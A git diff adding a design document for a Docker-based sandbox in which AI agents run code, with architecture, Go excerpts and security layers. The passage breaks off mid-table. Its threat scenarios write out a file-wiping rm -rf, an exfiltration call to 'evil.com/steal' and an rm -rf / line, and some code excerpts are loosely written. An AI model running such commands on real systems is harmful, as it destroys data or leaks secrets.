diff --git a/TaskExecutionEngine.md b/TaskExecutionEngine.md new file mode 100644 index 0000000..0074b98 --- /dev/null +++ b/TaskExecutionEngine.md @@ -0,0 +1,1676 @@ +# CHORUS Task Execution Engine + +**Secure, Isolated, and Lightning-Fast Code Execution for Autonomous Agents** + +--- + +## Table of Contents + +1. [Overview](#overview) +2. [For Everyone: The Big Picture](#for-everyone-the-big-picture) +3. [How It Works: Step by Step](#how-it-works-step-by-step) +4. [For Developers: Technical Deep Dive](#for-developers-technical-deep-dive) +5. [Security & Isolation](#security--isolation) +6. [Performance Characteristics](#performance-characteristics) +7. [Comparison: Why This Approach?](#comparison-why-this-approach) +8. [Available Development Environments](#available-development-environments) +9. [Real-World Examples](#real-world-examples) +10. [Troubleshooting & FAQ](#troubleshooting--faq) + +--- + +## Overview + +The **CHORUS Task Execution Engine** is the system that allows AI agents to safely execute code, build software, run tests, and produce artifacts—all without risking your host system. Think of it as giving the AI a completely isolated "workshop" where it can use real tools (compilers, interpreters, build systems) but can never accidentally damage anything outside that workspace. + +### Key Features + +- ✅ **Complete Isolation** - Tasks run in containers that can't access your files or network +- ✅ **Multi-Language Support** - Pre-configured environments for Rust, Go, Python, Node.js, Java, C/C++ +- ✅ **Reproducible Builds** - Same environment every time, no "works on my machine" problems +- ✅ **Resource Limited** - Control CPU, memory, disk usage to prevent runaway processes +- ✅ **No SSH Required** - Direct API communication, no authentication complexity +- ✅ **Instant Startup** - Containers stay warm, commands execute in milliseconds +- ✅ **Full Monitoring** - Track resource usage, capture all output, audit all actions + +--- + +## For Everyone: The Big Picture + +### The Problem We're Solving + +When an AI agent needs to execute code, we face a dilemma: + +``` +┌─────────────────────────────────────────┐ +│ Option 1: Run directly on your system │ +│ ✅ Fast │ +│ ❌ Dangerous (AI could delete files) │ +│ ❌ Unpredictable (depends on your OS) │ +│ ❌ No resource limits │ +└─────────────────────────────────────────┘ + +┌─────────────────────────────────────────┐ +│ Option 2: Run in isolated environment │ +│ ✅ Safe (can't access your files) │ +│ ✅ Predictable (same environment) │ +│ ✅ Resource controlled │ +│ ✅ Easy to reset if something breaks │ +└─────────────────────────────────────────┘ +``` + +CHORUS chooses **Option 2** using Docker containers as secure, isolated workspaces. + +### The Analogy: Virtual Workshop + +Imagine hiring a contractor to build something: + +**Traditional Approach (Unsafe):** +``` +You: "Here are the keys to my house. Build me a bookshelf." +Contractor: *Has access to everything in your house* +``` + +**CHORUS Approach (Safe):** +``` +You: "Here's a fully-equipped workshop in my garage." + "All the tools you need are inside." + "You can only access materials I put in the 'input' box." + "Put the finished bookshelf in the 'output' box." + "The workshop door locks from the outside—you can't leave." + +Contractor: *Has everything needed, but can't access your house* +``` + +This is exactly what CHORUS does with code execution—except the "workshop" is a Docker container. + +### Visual Overview + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ CHORUS AGENT │ +│ "I need to compile this Rust project and run tests" │ +└────────────────────────┬────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ TASK EXECUTION ENGINE │ +│ 1. Detect language: "Rust" │ +│ 2. Select image: anthonyrawlins/chorus-rust-dev │ +│ 3. Create isolated container │ +│ 4. Execute commands safely │ +└────────────────────────┬────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ 🐳 ISOLATED DOCKER CONTAINER │ +│ ┌───────────────────────────────────────────────────────────┐ │ +│ │ 📁 /workspace/ │ │ +│ │ ├── 📖 input/ (read-only: source code from user) │ │ +│ │ ├── 🔨 data/ (working: builds, temp files) │ │ +│ │ └── 📦 output/ (deliverables: binaries, reports) │ │ +│ │ │ │ +│ │ 🔧 Pre-installed Tools: │ │ +│ │ • rustc (Rust compiler) │ │ +│ │ • cargo (Rust build tool) │ │ +│ │ • clippy (Rust linter) │ │ +│ │ • git, vim, curl, etc. │ │ +│ │ │ │ +│ │ 🛡️ Security Boundaries: │ │ +│ │ • No network access (configurable) │ │ +│ │ • No access to host files │ │ +│ │ • Limited CPU: 2 cores │ │ +│ │ • Limited RAM: 2GB │ │ +│ │ • Non-root user: chorus (UID 1000) │ │ +│ └───────────────────────────────────────────────────────────┘ │ +└─────────────────────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ RESULTS RETURNED │ +│ ✅ Exit code: 0 (success) │ +│ 📄 stdout: "Compiling myapp v0.1.0..." │ +│ 📄 stderr: "warning: unused variable..." │ +│ 📦 Artifacts: [myapp binary, test results] │ +│ ⏱️ Duration: 45.3 seconds │ +│ 💾 Memory used: 1.2GB / 2GB │ +└─────────────────────────────────────────────────────────────────┘ +``` + +--- + +## How It Works: Step by Step + +### Phase 1: Setup (happens once per task) + +``` +Step 1: Language Detection +┌─────────────────────────────────────────┐ +│ Task: "Fix Rust compilation error" │ +│ │ +│ Detection Logic: │ +│ 1. Check explicit language field │ +│ 2. Analyze repository URL patterns │ +│ 3. Scan description for keywords │ +│ │ +│ Result: Language = "rust" │ +└─────────────────────────────────────────┘ + ↓ +Step 2: Image Selection +┌─────────────────────────────────────────┐ +│ Language: "rust" │ +│ │ +│ Image Map: │ +│ rust → chorus-rust-dev │ +│ go → chorus-go-dev │ +│ python → chorus-python-dev │ +│ ... │ +│ │ +│ Selected: anthonyrawlins/chorus-rust-dev│ +└─────────────────────────────────────────┘ + ↓ +Step 3: Container Creation +┌─────────────────────────────────────────┐ +│ Pull Image (if not cached): │ +│ docker pull anthonyrawlins/ │ +│ chorus-rust-dev:latest │ +│ │ +│ Create Container: │ +│ • Image: chorus-rust-dev │ +│ • Memory: 2GB limit │ +│ • CPU: 2 cores │ +│ • Network: isolated (no internet) │ +│ • Filesystem: isolated │ +│ │ +│ Keep-Alive Command: │ +│ tail -f /dev/null │ +│ (container stays running, ready for │ +│ commands, but does nothing actively) │ +└─────────────────────────────────────────┘ +``` + +### Phase 2: Execution (repeats for each command) + +``` +Step 4: Command Execution +┌─────────────────────────────────────────┐ +│ Command: cargo build --release │ +│ │ +│ Via Docker Exec API: │ +│ POST /containers/{id}/exec │ +│ { │ +│ "Cmd": ["cargo", "build", "--release"]│ +│ "WorkingDir": "/workspace/data" │ +│ "AttachStdout": true │ +│ "AttachStderr": true │ +│ } │ +│ │ +│ Response: exec_id = "abc123" │ +└─────────────────────────────────────────┘ + ↓ +Step 5: Stream Output +┌─────────────────────────────────────────┐ +│ POST /exec/abc123/start │ +│ │ +│ Binary stream (multiplexed): │ +│ [stdout] Compiling myapp v0.1.0... │ +│ [stdout] Compiling deps v1.0.0 │ +│ [stderr] warning: unused variable │ +│ [stdout] Finished release [opt] │ +│ │ +│ CHORUS demultiplexes into separate │ +│ stdout and stderr buffers │ +└─────────────────────────────────────────┘ + ↓ +Step 6: Wait for Completion +┌─────────────────────────────────────────┐ +│ Poll every 100ms: │ +│ GET /exec/abc123/json │ +│ │ +│ Response: │ +│ { │ +│ "Running": false, │ +│ "ExitCode": 0, │ +│ "Pid": 12345 │ +│ } │ +│ │ +│ Command completed successfully! │ +└─────────────────────────────────────────┘ +``` + +### Phase 3: File Operations + +``` +Writing Files (Code → Container) +┌─────────────────────────────────────────┐ +│ Create tar archive in memory: │ +│ │ +│ [tar header: "main.rs", size: 1024] │ +│ [file content: "fn main() { ... }"] │ +│ │ +│ PUT /containers/{id}/archive │ +│ Target: /workspace/data/src/main.rs │ +│ │ +│ Result: File appears in container │ +└─────────────────────────────────────────┘ + +Reading Files (Container → Result) +┌─────────────────────────────────────────┐ +│ GET /containers/{id}/archive │ +│ Path: /workspace/output/myapp │ +│ │ +│ Response: tar stream │ +│ [tar header: "myapp", size: 4194304] │ +│ [binary content: ELF executable] │ +│ │ +│ Extract from tar → return to agent │ +└─────────────────────────────────────────┘ +``` + +### Phase 4: Cleanup + +``` +Step 7: Resource Cleanup +┌─────────────────────────────────────────┐ +│ When task completes: │ +│ │ +│ 1. docker stop {container_id} │ +│ (graceful shutdown: 30s timeout) │ +│ │ +│ 2. docker rm {container_id} │ +│ (delete container completely) │ +│ │ +│ 3. Remove temporary files on host │ +│ │ +│ Result: Zero traces left behind │ +└─────────────────────────────────────────┘ +``` + +--- + +## For Developers: Technical Deep Dive + +### Architecture Components + +``` +┌───────────────────────────────────────────────────────────────────┐ +│ TaskExecutionEngine │ +│ Location: pkg/execution/engine.go │ +│ │ +│ Responsibilities: │ +│ • Orchestrate task execution lifecycle │ +│ • Coordinate between AI providers and sandboxes │ +│ • Parse AI responses for executable commands │ +│ • Collect and format results │ +│ • Track metrics and resource usage │ +└─────────────────────────────┬─────────────────────────────────────┘ + │ + │ creates + ▼ +┌───────────────────────────────────────────────────────────────────┐ +│ ImageSelector │ +│ Location: pkg/execution/images.go │ +│ │ +│ Responsibilities: │ +│ • Detect language from task context │ +│ • Map language to appropriate Docker image │ +│ • Provide image metadata and capabilities │ +│ │ +│ Detection Priority: │ +│ 1. context.language field (explicit) │ +│ 2. AI model name hints │ +│ 3. Repository URL patterns │ +│ 4. Description keyword analysis │ +└─────────────────────────────┬─────────────────────────────────────┘ + │ + │ provides image name + ▼ +┌───────────────────────────────────────────────────────────────────┐ +│ ExecutionSandbox (Interface) │ +│ Location: pkg/execution/sandbox.go │ +│ │ +│ Interface Methods: │ +│ • Initialize(ctx, config) error │ +│ • ExecuteCommand(ctx, cmd) (*CommandResult, error) │ +│ • WriteFile(ctx, path, content, mode) error │ +│ • ReadFile(ctx, path) ([]byte, error) │ +│ • ListFiles(ctx, path) ([]FileInfo, error) │ +│ • GetResourceUsage(ctx) (*ResourceUsage, error) │ +│ • Cleanup() error │ +└─────────────────────────────┬─────────────────────────────────────┘ + │ + │ implemented by + ▼ +┌───────────────────────────────────────────────────────────────────┐ +│ DockerSandbox │ +│ Location: pkg/execution/docker.go │ +│ │ +│ Key Fields: │ +│ • client: *docker.Client (Docker SDK) │ +│ • containerID: string (running container) │ +│ • config: *SandboxConfig (resource limits, security) │ +│ • workingDir: string (default: /workspace/data) │ +│ • environment: map[string]string │ +│ │ +│ Implementation Details: │ +│ • Uses official Docker SDK for Go │ +│ • Communicates via Unix socket /var/run/docker.sock │ +│ • Never spawns subprocesses (all via API) │ +│ • Multiplexes stdout/stderr from binary stream │ +│ • Streams files via tar archives │ +└───────────────────────────────────────────────────────────────────┘ +``` + +### Code Flow Diagram + +```go +// 1. ENGINE RECEIVES TASK +func (e *DefaultTaskExecutionEngine) ExecuteTask( + ctx context.Context, + request *TaskExecutionRequest, +) (*TaskExecutionResult, error) { + + // 2. CREATE SANDBOX CONFIG + sandboxConfig := e.createSandboxConfig(request) + + // Inside createSandboxConfig: + imageSelector := NewImageSelector() + selectedImage := imageSelector.SelectImageForTask(request) + // Result: "anthonyrawlins/chorus-rust-dev:latest" + + config := &SandboxConfig{ + Image: selectedImage, + WorkingDir: "/workspace/data", + Environment: map[string]string{ + "WORKSPACE_ROOT": "/workspace", + "WORKSPACE_INPUT": "/workspace/input", + "WORKSPACE_DATA": "/workspace/data", + "WORKSPACE_OUTPUT": "/workspace/output", + }, + Resources: ResourceLimits{ + MemoryLimit: 2 * 1024 * 1024 * 1024, // 2GB + CPULimit: 2.0, // 2 cores + }, + Security: SecurityPolicy{ + NoNewPrivileges: true, + AllowNetworking: false, + DropCapabilities: []string{"ALL"}, + }, + } + + // 3. INITIALIZE SANDBOX + sandbox := NewDockerSandbox() + sandbox.Initialize(ctx, config) + defer sandbox.Cleanup() + + // 4. EXECUTE COMMANDS + cmd := &Command{ + Executable: "/bin/sh", + Args: []string{"-c", "cargo build --release"}, + WorkingDir: "/workspace/data", + Timeout: 5 * time.Minute, + } + + result, err := sandbox.ExecuteCommand(ctx, cmd) + + // 5. COLLECT ARTIFACTS + if result.ExitCode == 0 { + binaryContent, _ := sandbox.ReadFile(ctx, + "/workspace/data/target/release/myapp") + + artifacts = append(artifacts, TaskArtifact{ + Name: "myapp", + Type: "binary", + Content: binaryContent, + Size: len(binaryContent), + }) + } + + // 6. RETURN RESULTS + return &TaskExecutionResult{ + Success: result.ExitCode == 0, + Output: result.Stdout, + Artifacts: artifacts, + Metrics: &ExecutionMetrics{ + Duration: result.Duration, + CommandsExecuted: 1, + ResourceUsage: result.ResourceUsage, + }, + }, nil +} +``` + +### Docker API Communication + +**What Actually Happens Under the Hood:** + +``` +Host (CHORUS Process) Docker Daemon + │ │ + │ Unix Socket Connection │ + │ /var/run/docker.sock │ + ├───────────────────────────────┤ + │ │ + │ POST /v1.43/containers/create │ + │ { │ + │ "Image": "chorus-rust-dev", │ + │ "Cmd": ["tail","-f","/dev/null"] + │ "HostConfig": { │ + │ "Memory": 2147483648, │ + │ "NanoCPUs": 2000000000, │ + │ "CapDrop": ["ALL"] │ + │ } │ + │ } │ + ├──────────────────────────────>│ + │ │ Create container + │<──────────────────────────────┤ + │ 201 Created │ + │ {"Id": "abc123def456..."} │ + │ │ + │ POST /v1.43/containers/ │ + │ abc123/start │ + ├──────────────────────────────>│ + │ │ Start container + │<──────────────────────────────┤ + │ 204 No Content │ + │ │ + │ POST /v1.43/containers/ │ + │ abc123/exec │ + │ { │ + │ "AttachStdout": true, │ + │ "AttachStderr": true, │ + │ "Cmd": ["cargo","build"] │ + │ } │ + ├──────────────────────────────>│ + │ │ Create exec instance + │<──────────────────────────────┤ + │ 201 Created │ + │ {"Id": "exec789xyz..."} │ + │ │ + │ POST /v1.43/exec/exec789/start│ + ├──────────────────────────────>│ + │ │ Execute command + │<══════════════════════════════┤ (Binary stream) + │ [stdout stream] │ cargo output + │ [stderr stream] │ warnings + │<══════════════════════════════┤ + │ Stream ends │ + │ │ + │ GET /v1.43/exec/exec789/json │ + ├──────────────────────────────>│ + │ │ Check status + │<──────────────────────────────┤ + │ {"Running": false, │ + │ "ExitCode": 0} │ + │ │ + │ DELETE /v1.43/containers/ │ + │ abc123?force=true │ + ├──────────────────────────────>│ + │ │ Remove container + │<──────────────────────────────┤ + │ 204 No Content │ + │ │ +``` + +### Key Implementation Files + +| File | Purpose | Key Functions | +|------|---------|---------------| +| `pkg/execution/engine.go` | Main orchestration | `ExecuteTask()`, `createSandboxConfig()`, `executeTaskInternal()` | +| `pkg/execution/images.go` | Image selection logic | `SelectImageForTask()`, `DetectLanguage()`, `detectLanguageFromDescription()` | +| `pkg/execution/sandbox.go` | Sandbox interface | Interface definitions for all sandbox implementations | +| `pkg/execution/docker.go` | Docker implementation | `Initialize()`, `ExecuteCommand()`, `WriteFile()`, `ReadFile()`, `Cleanup()` | + +### Critical Code Sections + +**1. Command Execution (docker.go:115-239)** + +```go +func (d *DockerSandbox) ExecuteCommand(ctx context.Context, cmd *Command) (*CommandResult, error) { + // Build command + execCmd := []string{cmd.Executable} + execCmd = append(execCmd, cmd.Args...) + + // Create exec instance + execConfig := container.ExecOptions{ + AttachStdout: true, + AttachStderr: true, + Cmd: execCmd, + WorkingDir: cmd.WorkingDir, + Env: d.buildEnvironment(cmd.Environment), + } + + exec, err := d.client.ContainerExecCreate(ctx, d.containerID, execConfig) + + // Attach and stream output + resp, err := d.client.ContainerExecAttach(ctx, exec.ID, attachOptions) + defer resp.Close() + + // Demultiplex Docker's binary stream format + var stdout, stderr bytes.Buffer + d.demultiplexOutput(resp.Reader, &stdout, &stderr) + + // Poll for completion + for { + inspect, err := d.client.ContainerExecInspect(ctx, exec.ID) + if !inspect.Running { + return &CommandResult{ + ExitCode: inspect.ExitCode, + Stdout: stdout.String(), + Stderr: stderr.String(), + }, nil + } + time.Sleep(100 * time.Millisecond) + } +} +``` + +**2. Output Demultiplexing (docker.go:876-915)** + +Docker multiplexes stdout and stderr into a single binary stream with this format: + +``` +Byte 0: Stream Type (1=stdout, 2=stderr) +Bytes 1-3: Padding (always 0) +Bytes 4-7: Frame Size (big-endian uint32) +Bytes 8+: Frame Data +``` + +```go +func (d *DockerSandbox) demultiplexOutput(reader io.Reader, stdout, stderr io.Writer) error { + buf := make([]byte, 8192) + for { + n, err := reader.Read(buf) + if n < 8 { + continue // Need at least 8 bytes for header + } + + streamType := buf[0] // 1=stdout, 2=stderr + size := int(buf[4])<<24 + // Parse 32-bit size + int(buf[5])<<16 + + int(buf[6])<<8 + + int(buf[7]) + + data := buf[8 : 8+size] // Extract frame data + + switch streamType { + case 1: + stdout.Write(data) // Route to stdout + case 2: + stderr.Write(data) // Route to stderr + } + } +} +``` + +**3. Image Selection Logic (images.go:74-154)** + +```go +func (s *ImageSelector) DetectLanguage(task *TaskExecutionRequest) string { + // Priority 1: Explicit language field + if lang, ok := task.Context["language"].(string); ok && lang != "" { + return strings.ToLower(strings.TrimSpace(lang)) + } + + // Priority 2: Model name hints + if task.Requirements != nil && task.Requirements.AIModel != "" { + if modelLang := extractLanguageFromModel(task.Requirements.AIModel); modelLang != "" { + return modelLang + } + } + + // Priority 3: Repository URL patterns + if repoURL, ok := task.Context["repository_url"].(string); ok && repoURL != "" { + return detectLanguageFromRepo(repoURL) + } + + // Priority 4: Description keyword analysis + return detectLanguageFromDescription(task.Description) +} + +func detectLanguageFromDescription(description string) string { + keywords := []struct { + language string + patterns []string + priority int + }{ + // High priority - specific indicators + {"rust", []string{"cargo.toml", "cargo build", ".rs file"}, 3}, + {"python", []string{"pip install", "pytest", "requirements.txt"}, 3}, + + // Medium priority - generic mentions + {"rust", []string{"rust"}, 2}, + {"python", []string{"python"}, 2}, + } + + bestMatch := "" + bestPriority := 0 + + for _, kw := range keywords { + for _, pattern := range kw.patterns { + if strings.Contains(strings.ToLower(description), pattern) { + if kw.priority > bestPriority { + bestMatch = kw.language + bestPriority = kw.priority + } + } + } + } + + return bestMatch // Returns "base" if no match +} +``` + +--- + +## Security & Isolation + +### Defense in Depth: Multiple Security Layers + +``` +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 1: Linux Kernel Namespaces │ +│ ─────────────────────────────────────────────────────────────── │ +│ • PID Namespace: Container can't see host processes │ +│ • Network Namespace: Isolated network stack (default: no net) │ +│ • Mount Namespace: Container can't see host filesystem │ +│ • IPC Namespace: No shared memory with host │ +│ • UTS Namespace: Separate hostname │ +│ • User Namespace: UID mapping for file permissions │ +└──────────────────────────────────────────────────────────────────┘ + ↓ +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 2: Control Groups (cgroups) │ +│ ─────────────────────────────────────────────────────────────── │ +│ • Memory Limit: 2GB hard limit (OOM kill if exceeded) │ +│ • CPU Limit: 2 cores maximum │ +│ • PID Limit: 100 processes maximum │ +│ • Block I/O: Rate limiting on disk operations │ +│ • No access to host's /sys, /proc │ +└──────────────────────────────────────────────────────────────────┘ + ↓ +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 3: Linux Capabilities │ +│ ─────────────────────────────────────────────────────────────── │ +│ Dropped Capabilities (CapDrop: ALL): │ +│ • CAP_SYS_ADMIN: Can't modify system settings │ +│ • CAP_NET_ADMIN: Can't modify network configuration │ +│ • CAP_SYS_MODULE: Can't load kernel modules │ +│ • CAP_SYS_RAWIO: Can't access raw I/O │ +│ • ALL other capabilities dropped │ +│ │ +│ Added Capabilities (minimal): │ +│ • None by default │ +│ • NET_BIND_SERVICE only if networking enabled │ +└──────────────────────────────────────────────────────────────────┘ + ↓ +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 4: Seccomp (Secure Computing Mode) │ +│ ─────────────────────────────────────────────────────────────── │ +│ Blocked System Calls: │ +│ • reboot, swapon, swapoff │ +│ • mount, umount (filesystem manipulation) │ +│ • kexec_load (kernel execution) │ +│ • ptrace (process debugging/manipulation) │ +│ • 300+ other dangerous syscalls │ +└──────────────────────────────────────────────────────────────────┘ + ↓ +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 5: AppArmor / SELinux (MAC) │ +│ ─────────────────────────────────────────────────────────────── │ +│ Mandatory Access Control profiles: │ +│ • Restrict which files can be read/written │ +│ • Block access to sensitive host paths │ +│ • Prevent privilege escalation │ +└──────────────────────────────────────────────────────────────────┘ + ↓ +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 6: Read-Only Root Filesystem │ +│ ─────────────────────────────────────────────────────────────── │ +│ • Root filesystem mounted read-only │ +│ • Only /workspace/* is writable │ +│ • No modification of system binaries │ +│ • No installation of packages (use pre-built images) │ +└──────────────────────────────────────────────────────────────────┘ + ↓ +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 7: Network Isolation │ +│ ─────────────────────────────────────────────────────────────── │ +│ Default: NetworkMode = "none" │ +│ • No network interfaces (except loopback) │ +│ • Can't make outbound connections │ +│ • Can't receive inbound connections │ +│ • Configurable if task requires network │ +└──────────────────────────────────────────────────────────────────┘ + ↓ +┌──────────────────────────────────────────────────────────────────┐ +│ Layer 8: Non-Root User │ +│ ─────────────────────────────────────────────────────────────── │ +│ • Runs as user "chorus" (UID 1000) │ +│ • Not in sudoers │ +│ • No password authentication │ +│ • Can't escalate to root (no-new-privileges flag) │ +└──────────────────────────────────────────────────────────────────┘ +``` + +### Security Configuration (Code) + +```go +// pkg/execution/docker.go:558-641 +func (d *DockerSandbox) buildHostConfig() *container.HostConfig { + return &container.HostConfig{ + // Resource Limits + Resources: container.Resources{ + Memory: 2 * 1024 * 1024 * 1024, // 2GB + NanoCPUs: 2000000000, // 2 cores + PidsLimit: ptr(100), // 100 processes max + }, + + // Security Options + SecurityOpt: []string{ + "no-new-privileges:true", // Prevent privilege escalation + "seccomp=/etc/docker/seccomp.json", // Syscall filtering + "apparmor=docker-default", // AppArmor profile + }, + + // Capabilities (drop all by default) + CapDrop: []string{"ALL"}, + CapAdd: []string{}, // Add none unless specifically needed + + // Network Isolation + NetworkMode: "none", // No network access + + // Filesystem Security + ReadonlyRootfs: true, // Read-only root + + // Process Isolation + IpcMode: "private", // No shared IPC + PidMode: "private", // Can't see host processes + + // Never privileged + Privileged: false, + } +} +``` + +### What Can and Cannot Happen + +| Action | Possible? | Why? | +|--------|-----------|------| +| **Read host files** | ❌ No | Mount namespace isolation | +| **Write host files** | ❌ No | Mount namespace isolation | +| **See host processes** | ❌ No | PID namespace isolation | +| **Access host network** | ❌ No | Network namespace = "none" | +| **Use more than 2GB RAM** | ❌ No | OOM killer terminates process | +| **Use more than 2 CPU cores** | ❌ No | CFS scheduler throttles | +| **Spawn 1000 processes** | ❌ No | PID limit = 100 | +| **Load kernel modules** | ❌ No | CAP_SYS_MODULE dropped | +| **Reboot system** | ❌ No | Seccomp blocks reboot syscall | +| **Escalate to root** | ❌ No | no-new-privileges flag | +| **Compile code** | ✅ Yes | Compiler included in image | +| **Run tests** | ✅ Yes | Test frameworks pre-installed | +| **Read /workspace/input** | ✅ Yes | Mounted read-only | +| **Write to /workspace/data** | ✅ Yes | Working directory | +| **Create artifacts in /workspace/output** | ✅ Yes | Output directory | + +### Real-World Attack Scenarios (and how we prevent them) + +**Scenario 1: Malicious Code Tries to Delete Host Files** + +```bash +# Malicious command attempted by compromised AI +rm -rf /host/important_data + +# What actually happens: +# ❌ /host/important_data doesn't exist in container namespace +# ✅ Even if it did, read-only root filesystem prevents deletion +# ✅ Mount namespace prevents access to host paths +# Result: Command fails harmlessly +``` + +**Scenario 2: Infinite Loop Consumes All CPU** + +```rust +// Malicious code +loop { + // Busy loop attempting to DoS host + let x = 1 + 1; +} + +// What actually happens: +// ✅ CFS scheduler limits to 2 cores maximum +// ✅ Host system still has remaining cores available +// ✅ Timeout kills container after 5 minutes +// Result: Host remains responsive +``` + +**Scenario 3: Memory Bomb Attempts to Crash System** + +```python +# Malicious code +data = [] +while True: + data.append('x' * 10000000) # Allocate 10MB per iteration + +# What actually happens: +# ✅ Memory limit = 2GB enforced by cgroups +# ✅ When exceeded, OOM killer terminates process +# ✅ Host memory unaffected +# Result: Container terminated, host protected +``` + +**Scenario 4: Attempts Network Exfiltration of Data** + +```go +// Malicious code +http.Post("http://evil.com/steal", "application/json", secretData) + +// What actually happens: +// ❌ No network interfaces available (NetworkMode="none") +// ❌ Can't resolve DNS +// ❌ Can't create TCP connections +// Result: Network call fails immediately +``` + +--- + +## Performance Characteristics + +### Startup Times + +``` +┌─────────────────────────────────────────────────────────────┐ +│ Operation Time Notes │ +├─────────────────────────────────────────────────────────────┤ +│ Image pull (first time) 30-120s One-time cost │ +│ Image pull (cached) 0ms Already local │ +│ Container creation 200-500ms Create config │ +│ Container start 100-300ms Process spawn │ +│ First exec command 10-50ms Setup overhead │ +│ Subsequent exec commands 5-15ms Amortized │ +│ File copy (1MB) 20-50ms Tar streaming │ +│ Container stop & remove 100-200ms Graceful │ +└─────────────────────────────────────────────────────────────┘ + +Total for "Hello World" task: 400-850ms (cached image) +Total for Rust compilation: 45-120s (depends on project size) +``` + +### Resource Overhead + +``` +Component Memory Overhead CPU Overhead +───────────────────────────────────────────────────────── +Docker daemon 50-100MB 1-2% idle +Container runtime 20-50MB <1% idle +Executing process Actual + 10-20MB Actual + 2-3% +CHORUS orchestration 30-50MB 1-2% +───────────────────────────────────────────────────────── +Total overhead ~150MB ~5% +``` + +### Comparison: Different Execution Models + +``` +┌──────────────────────────────────────────────────────────────────┐ +│ Metric │ Docker Exec │ New Container │ SSH │ Native │ +│ │ (CHORUS) │ Per Command │ │ │ +├──────────────────────────────────────────────────────────────────┤ +│ Startup Time │ 400ms │ 2-5s │ 50ms │ 0ms │ +│ Command Latency │ 10ms │ N/A │ 30ms │ 0ms │ +│ Memory Overhead │ 150MB │ 200MB │ 100MB│ 0MB │ +│ File Persistence │ ✅ Yes │ ❌ No │ ✅ Yes│ N/A │ +│ Security Isolation│ ✅ Full │ ✅ Full │ ⚠️ Partial│❌ None│ +│ Setup Complexity │ ⭐ Low │ ⭐ Low │ ⭐⭐⭐ High│⭐ Low │ +│ State Between Cmds│ ✅ Yes │ ❌ No │ ✅ Yes│ N/A │ +│ API vs CLI │ ✅ API │ ⚠️ CLI │ ⚠️ CLI│ N/A │ +└──────────────────────────────────────────────────────────────────┘ + +Winner: Docker Exec (CHORUS approach) ✨ +• Persistent state between commands +• Low latency after warmup +• Full isolation +• No authentication complexity +• Direct API access (no CLI parsing) +``` + +### Performance Optimization Strategies + +**1. Container Warmup** +```go +// Container stays alive between commands +Cmd: []string{"tail", "-f", "/dev/null"} + +// Benefits: +// • No restart overhead +// • Cached filesystem state +// • Amortized startup cost +``` + +**2. Image Pre-pulling** +```bash +# Pre-pull on cluster nodes +docker pull anthonyrawlins/chorus-rust-dev:latest +docker pull anthonyrawlins/chorus-go-dev:latest +docker pull anthonyrawlins/chorus-python-dev:latest + +# Result: Zero pull time during task execution +``` + +**3. Layer Caching** +```dockerfile +# All language images share base layer +FROM debian:bookworm AS base +# Base layer: 643MB (shared across all images) + +FROM base AS rust-dev +# Only Rust-specific layers downloaded +# Effective size: ~1.8GB additional +``` + +**4. Efficient File Transfer** +```go +// Use tar streaming (not individual file copies) +buf := new(bytes.Buffer) +tw := tar.NewWriter(buf) +// Add multiple files to single tar +// Transfer entire archive in one API call +``` + +--- + +## Comparison: Why This Approach? + +### Alternative 1: SSH into Container + +``` +┌─────────────────────────────────────────────────────────────┐ +│ How it would work: │ +│ 1. Install openssh-server in container │ +│ 2. Generate SSH keys │ +│ 3. Start sshd daemon │ +│ 4. SSH from CHORUS to container │ +│ 5. Execute commands via SSH session │ +└─────────────────────────────────────────────────────────────┘ + +Problems: +❌ Extra attack surface (sshd vulnerabilities) +❌ Key management complexity +❌ Authentication overhead +❌ Extra memory (sshd process) +❌ Port management (need unique ports) +❌ Terminal emulation complexity +❌ Less portable (SSH not always available) + +Example: +# Dockerfile additions needed +RUN apt-get install -y openssh-server && \ + mkdir /var/run/sshd && \ + echo 'chorus:password' | chpasswd + +CMD ["/usr/sbin/sshd", "-D"] + +# Code complexity +conn, err := ssh.Dial("tcp", fmt.Sprintf("localhost:%d", containerPort), sshConfig) +session, err := conn.NewSession() +output, err := session.CombinedOutput("cargo build") +``` + +### Alternative 2: New Container Per Command + +``` +┌─────────────────────────────────────────────────────────────┐ +│ How it would work: │ +│ 1. Create container for command │ +│ 2. Run: docker run --rm image cargo build │ +│ 3. Wait for completion │ +│ 4. Container auto-removes │ +│ 5. Repeat for next command │ +└─────────────────────────────────────────────────────────────┘ + +Problems: +❌ Slow (2-5s startup per command) +❌ No state persistence between commands +❌ Can't cd between commands +❌ Can't set environment variables +❌ Wasteful (recreate same environment) +❌ Higher resource churn + +Example: +// Command 1 +docker run --rm chorus-rust-dev cargo build +// 2-5 second startup, builds in /workspace + +// Command 2 +docker run --rm chorus-rust-dev cargo test +// PROBLEM: Previous build artifacts gone! +// Must rebuild everything again +``` + +### Alternative 3: Direct Host Execution + +``` +┌─────────────────────────────────────────────────────────────┐ +│ How it would work: │ +│ 1. Run commands directly on host OS │ +│ 2. No containers, no isolation │ +└─────────────────────────────────────────────────────────────┘ + +Problems: +❌ EXTREMELY DANGEROUS (AI has full system access) +❌ Unpredictable (depends on host OS) +❌ "Works on my machine" syndrome +❌ No resource limits +❌ No cleanup (files left behind) +❌ Dependency conflicts +❌ Security nightmare + +Example: +// If AI gets compromised or makes mistake: +exec.Command("rm", "-rf", "/").Run() +// 💀 Your entire system is gone +``` + +### Why Docker Exec is Optimal + +``` +┌──────────────────────────────────────────────────────────────┐ +│ ✅ CHORUS Approach Wins │ +├──────────────────────────────────────────────────────────────┤ +│ Security │ ⭐⭐⭐⭐⭐ Full isolation, multiple layers│ +│ Performance │ ⭐⭐⭐⭐⭐ Fast after warmup (10ms/cmd) │ +│ Simplicity │ ⭐⭐⭐⭐⭐ Zero config, no auth needed │ +│ State Persistence │ ⭐⭐⭐⭐⭐ Files persist between commands│ +│ Reproducibility │ ⭐⭐⭐⭐⭐ Same env every time │ +│ Resource Control │ ⭐⭐⭐⭐⭐ CPU, memory, disk limits │ +│ API Quality │ ⭐⭐⭐⭐⭐ Official Go SDK, 